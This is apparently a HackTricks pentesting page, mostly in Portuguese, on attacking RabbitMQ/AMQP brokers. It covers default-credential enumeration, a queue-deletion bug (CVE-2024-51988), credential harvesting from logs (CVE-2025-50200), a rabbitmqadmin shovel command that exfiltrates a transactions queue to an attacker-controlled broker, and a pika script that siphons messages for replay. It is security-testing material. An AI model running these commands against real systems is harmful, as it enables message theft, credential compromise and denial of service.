5671,5672 - Pentesting AMQP
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
De cloudamqp:
RabbitMQ is a message-queueing software also known as a message broker or queue manager. Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.
A message can include any kind of information. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.
Definition from .
Porta padrão: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Credenciais padrão:
guest:guest. O RabbitMQ restringe essas credenciais ao localhost através deloopback_users, mas muitas imagens Docker/IoT desabilitam essa verificação, então sempre teste o login remoto antes de assumir que está bloqueado. - Mecanismos de autenticação: PLAIN e AMQPLAIN estão habilitados por padrão, ANONYMOUS é mapeado para
anonymous_login_user/anonymous_login_pass, e EXTERNAL (x509) pode ficar exposto quando TLS está habilitado. Enumere o que o broker anuncia para saber se deve tentar password spraying ou certificate impersonation depois.
Enumeração
Manual
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Depois de autenticado, dump conn.server_properties, conn.channel_max e conn.frame_max para entender os limites de throughput e se você pode esgotar recursos com frames de tamanho excessivo.
Automático
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
Verificações TLS/SASL
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Isso leaks a cadeia de certificados, as versões TLS suportadas e se mutual TLS é necessário.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Útil uma vez que você obtenha acesso shell low-priv ao host.
- Spot ANONYMOUS logins: se o broker permitir o mecanismo SASL ANONYMOUS, tente conectar com username/password vazios; RabbitMQ internamente mapeará você para o
anonymous_login_user(padrãoguest).
Brute Force
Dicas de Exploração
Exclusão de filas sem permissão configure (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (e builds Tanzu sem patch) falham em verificar a permissão configure quando filas são excluídas via HTTP API. Qualquer usuário autenticado com acesso ao vhost alvo pode nuke filas arbitrárias mesmo que tenha apenas direitos read ou write.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Combine isso com rabbitmqadmin list permissions para encontrar vhosts onde seu low-priv user tem acesso parcial, depois wipe queues para induzir denial of service ou acionar compensating controls observados no lado AMQP. Consulte 15672 pentesting para mais endpoints HTTP API para encadear com este bug.
Coletar credenciais dos logs do RabbitMQ (CVE-2025-50200)
Até 4.0.8/4.1.0, ao acessar a management API com HTTP basic auth em um recurso inexistente, o broker passa a registrar todo o cabeçalho Authorization (base64). Se você obtiver acesso limitado ao sistema de arquivos (ex.: Docker escape, plugin RCE), procure em /var/log/rabbitmq/rabbit@*.log por Authorization: e recupere credenciais de outros tenants ou service accounts.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Dispare isso intencionalmente com endpoints falsos para plantar novos segredos nos logs, então faça pivot reutilizando as creds decodificadas via AMQP, STOMP, MQTT ou pelo próprio OS.
Arme o rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) é um CLI autocontido que conversa com a API de gerenciamento e agora é distribuído com builds estaticamente vinculadas para Linux/macOS/Windows. Coloque-o na sua bounce box e crie scripts:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Como a ferramenta suporta health checks compatíveis com blue/green, você também pode abusar de rabbitmqadmin health_check port_listener --port 5672 para confirmar remotamente se TLS listeners foram expostos ou para manter o serviço ocupado com probes de temporização.
Message hijacking/sniffing
Se você encontrar políticas permissivas (.* bindings, topic exchanges, ou x-queue-master-locator = min-masters), você pode silenciosamente sifonar mensagens sem deletá-las:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Altere a routing key para audit.# ou payments.* para focar em fluxos sensíveis, então republice mensagens forjadas invertendo os argumentos de basic_publish — útil para replay attacks contra microserviços downstream.
Outras portas do RabbitMQ
Em [https://www.rabbitmq.com/networking.html] você pode encontrar que rabbitmq usa várias portas:
- 1883, 8883: (MQTT clients sem e com TLS, se o MQTT plugin estiver habilitado. Learn more about how to pentest MQTT here.
- 4369: epmd, um serviço de peer discovery usado pelos nós RabbitMQ e ferramentas CLI. Learn more about how to pentest this service here.
- 5672, 5671: usado por clientes AMQP 0-9-1 e 1.0 sem e com TLS
- 15672: clientes do HTTP API, management UI e rabbitmqadmin (apenas se o management plugin estiver habilitado). Learn more about how to pentest this service here.
- 15674: clientes STOMP-over-WebSockets (apenas se o Web STOMP plugin estiver habilitado)
- 15675: clientes MQTT-over-WebSockets (apenas se o Web MQTT plugin estiver habilitado)
- 15692: métricas Prometheus (apenas se o Prometheus plugin estiver habilitado)
- 25672: usado para comunicação inter-nó e com ferramentas CLI (Erlang distribution server port) e é alocado a partir de um intervalo dinâmico (limitado a uma única porta por padrão, computado como AMQP port + 20000). A menos que conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa federation ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. See networking guide for details. Apenas 9 dessas portas estão abertas na internet.
- 35672-35682: usados por ferramentas CLI (Erlang distribution client ports) para comunicação com os nós e são alocados a partir de um intervalo dinâmico (computado como server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
- 61613, 61614: STOMP clients sem e com TLS (apenas se o STOMP plugin estiver habilitado). Menos de 10 dispositivos com essa porta aberta e na maioria UDP para nós DHT.
See also
Shodan
AMQP
Referências
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


